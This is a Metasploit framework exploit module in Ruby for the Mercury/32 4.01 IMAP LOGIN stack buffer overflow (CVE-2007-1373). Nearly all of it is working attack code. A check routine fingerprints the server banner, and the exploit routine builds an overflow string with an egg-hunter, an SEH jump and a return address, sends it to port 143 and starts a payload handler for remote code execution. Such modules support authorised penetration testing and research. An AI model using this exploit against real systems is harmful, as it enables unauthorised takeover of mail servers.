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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',
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      'Description' => %q{
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        This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
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        LOGIN verb. By sending a specially crafted login command, a buffer
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        is corrupted, and code execution is possible. This vulnerability was
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        discovered by (mu-b at digit-labs.org).
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      },
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      'Author'         =>
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        [
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        'mu-b', # Discovery and exploit
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        'MC', # Metasploit module
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        'Ivan Racic' # Automatic targeting + egg hunter
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-1373'],
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          ['EDB', '3418']
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Payload'        =>
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        {
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'Space' => 2500
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows Universal',
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            {
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              'Ret' => 0x00401460
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            }]
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          ],
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        'DisclosureDate' => '2007-03-06',
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        'DefaultTarget'  => 0))
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    register_options(
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      [
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        Opt::RPORT(143)
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      ]
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    )
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  end
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  def check
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    connect
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    resp = sock.get_once
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    disconnect
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    return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    hunter, egg = generate_egghunter(payload.encoded)
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    connect
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    sock.get_once
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    num = rand(255).to_i
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    sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"
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    sploit << rand_text_alpha_upper(347)
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    sploit << egg + payload.encoded
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    sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)
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    sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')
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    sploit << make_nops(20)
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    sploit << hunter
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    sock.put(sploit)
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    sock.get_once
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    print_status("Sending payload (#{sploit.length} bytes) ...")
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    handler
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    disconnect
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  end
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end
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